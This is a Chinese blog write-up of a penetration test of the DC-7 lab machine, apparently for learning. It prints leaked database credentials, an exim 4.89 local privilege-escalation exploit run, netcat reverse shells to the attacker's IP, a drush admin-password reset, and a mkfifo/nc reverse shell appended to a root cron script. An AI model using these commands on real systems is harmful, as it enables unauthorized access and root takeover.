【CyberSecurityLearning 76】DC系列之DC-7渗透测试(Drupal)

目录

DC-7靶机渗透测试

1、信息收集

1.1 扫描开放的端口

1.2 访问WEB站点

2、登录ssh

3、 提权(suid提权)

3.1 exim4提权

4、drush 命令对任意用户密码进行更改

5、登录admin

6、拿到root权限


 

DC-7靶机渗透测试

0x00实验环境

kali的IP:192.168.3.188
DC-7的MAC地址:00:0C:29:FB:B4:27(192.168.3.191)

(使用Kali中的arp-scan工具扫描也可)

1、信息收集

1.1 扫描开放的端口

nmap -A 192.168.3.191 -p 1-65535 -oN nmap.A

发现开放了80端口和22端口

1.2 访问WEB站点

发现是Drupal(是国外三大开源的PHP CMS 之一)

提示:
DC-7引入了一些“新”概念,但我将让您弄清楚它们是什么。 :-)
尽管此挑战并不是技术性的全部,但如果您需要诉诸于暴力破解或字典攻击,您可能不会成功。
您将要做的就是在盒子外面思考。 方式在盒子外面。 :-)

1.2.1 扫描网站目录

命令:dirb http://192.168.3.191/

尝试扫描网站目录,没发现什么有价值的目录,发现了robotx.txt文件,这个文件作为常见的可以让爬虫程序扫描的文件之一,控制是否想让爬虫去爬取本站信息

对于robots.txt文件,对里面的目录或者文件都进行了访问查看,未发现有用的信息

1.2.2  通过查询DC7USER查询到DC7-User用户

查询了解到网站左下角为@DC7USER为推特的联系方式,通过查询DC7USER查询到DC7-User用户,从而查询到如下信息,明显与DC-7相关

https://github.com/Dc7User/staffdb

发现config.php,得到数据库的用户名和密码(渗透测试是需要经验积累的,不然很多都想不到!!!)

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

看样子是网站mysql数据库连接的用户名、密码,所有这里就不登录网站了,直接登录后台。dc7user / MdR3xOgB7#dW

在user/login 登录,登录失败

2、登录ssh

用ssh登录:ssh dc7user@192.168.3.191,登录成功!

查看dc7user家目录下有backup文件夹

Gpg后缀文件为加密后的文件,需要有秘钥和密码才能解密。(website.sql和website.tar.gz文件现在都是加密过的)

我们再看看mbox有什么:发现友有好多邮件(From: root@dc-7 (Cron Daemon)        To: root@dc-7)

其中的主要信息有:

Shell脚本文件   /opt/scripts/backups.sh

数据库文件:/home/dc7user/backups/website.sql

网站数据: /home/dc7user/backups/website.tar.gz

从目前情况来看,website.sql和website.tar.gz文件现在都是加密过的,现在只能把目光放在另一个文件backups.sh上

2.3.1 查看一下backups.sh这个脚本文件

顺利找到了加密的秘钥,只是解密需要root权限才可以

3、 提权(suid提权)

思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)

思路2、查看有没有一些具有suid权限的命令

find / -perm /4000 2>dev/null

3.1 exim4提权

3.1.1 查看exim4版本

/usr/sbin/exim4 --version

发现exim4命令的版本是4.89

3.1.2 使用searchsploit查找响应漏洞

searchsploit exim 4.

 Local Privilege Escalation(本地特权升级)

3.1.3 将响应漏洞拷贝到靶机

scp远程拷贝

把它弄到靶机里,使用scp:
需要先在kali开启ssh服务------Kali ssh服务
dc7user@dc-7:~$ scp root@192.168.3.188:/usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/  (在dc7user@dc-7:~$下拷贝

运行exp,错误:

./46996.sh -m netcat

有个^M,查看此exp后,看到结尾都是M,百度后的文章:
解决“/bin/bash^M: bad interpreter: No such file or directory”
sed -i "s/\r//" 46996.sh

 

重新执行exp,先监听kali上的8888端口:
./46996.sh -m netcat
nc -e /bin/bash 192.168.3.188 8888

 

这里很快就会断链了,所以要快点:
python -c 'import pty;pty.spawn("/bin/bash")'

切换root失败了,怎么办啊啊啊啊啊~

无果!

4、drush 命令对任意用户密码进行更改

查询drush是drupal shell专门管理drupal站点的shell,使用drush扫描得知drupal用户为admin,cms的管理用户

尝试重置admin用户密码,说明admin用户存在

存在!

若用户不存在则是下面这种情况

 

重置admin密码为admin,必须在/var/www/html目录下执行

通过查询可知drush 命令可以对任意用户密码进行更改

drush user-password admin --password="123456"

5、登录admin

到后台后想上传一句话木马进行连接,发现没有php模块,这样就没办法解析php,在extend中点击添加php模块

返回页面选择php添加

点击install

先在kali上监听8888端口:nc -lvvp 8888

 

Add content——》Article

写入反弹shell(OS命令注入)

content创建成功!

在kali上监听已拿到反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'打开shell交互

6、拿到root权限

kali本地监听8888端口

在/opt/scripts/目录下面输入如下命令

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.3.191 8888 >/tmp/f" >> backups.sh

反弹成功!

查看theflag文件

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值